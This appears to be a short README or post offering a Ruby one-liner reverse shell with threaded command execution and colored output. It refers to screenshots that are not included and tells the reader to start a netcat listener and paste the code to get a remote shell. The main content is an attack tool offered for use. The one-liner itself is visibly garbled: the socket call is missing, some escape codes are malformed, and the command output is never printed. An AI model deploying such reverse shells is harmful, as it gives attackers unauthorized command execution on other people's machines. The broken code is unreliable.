This is a simple one liner reverse shell with threading and color feature.

Every command gets executed in a separate thread which prevents breaking of shell due to error. Also Handles any exception and sends it to attacker side.

The commands sent will be shown in color and bold for a better view.


1: Executing the reverse shell

2: Connection from Reverse shell to localhost. Notice the commands sent in color. Initiating another connection from shell (this will be executed in a separate thread thus we have two working reverse shells now)

3: Connection from second reverse shell.

4: First reverse shell still alive and working.


ruby -e 'require "socket";color=["\e[31m", "\e[32m", "\e[33m","e[34m","e[35m","e[36m"];"", 1234);while cmd=s.gets();begin;{IO.popen(cmd){|f| s.print("\e[0m" +[rand(6)]+"\e[1m")}};rescue => f;s.print(f);end;end;'


Listen via nc -vlp 1234 on one terminal

On another just copy paste the above code. You will get reverse shell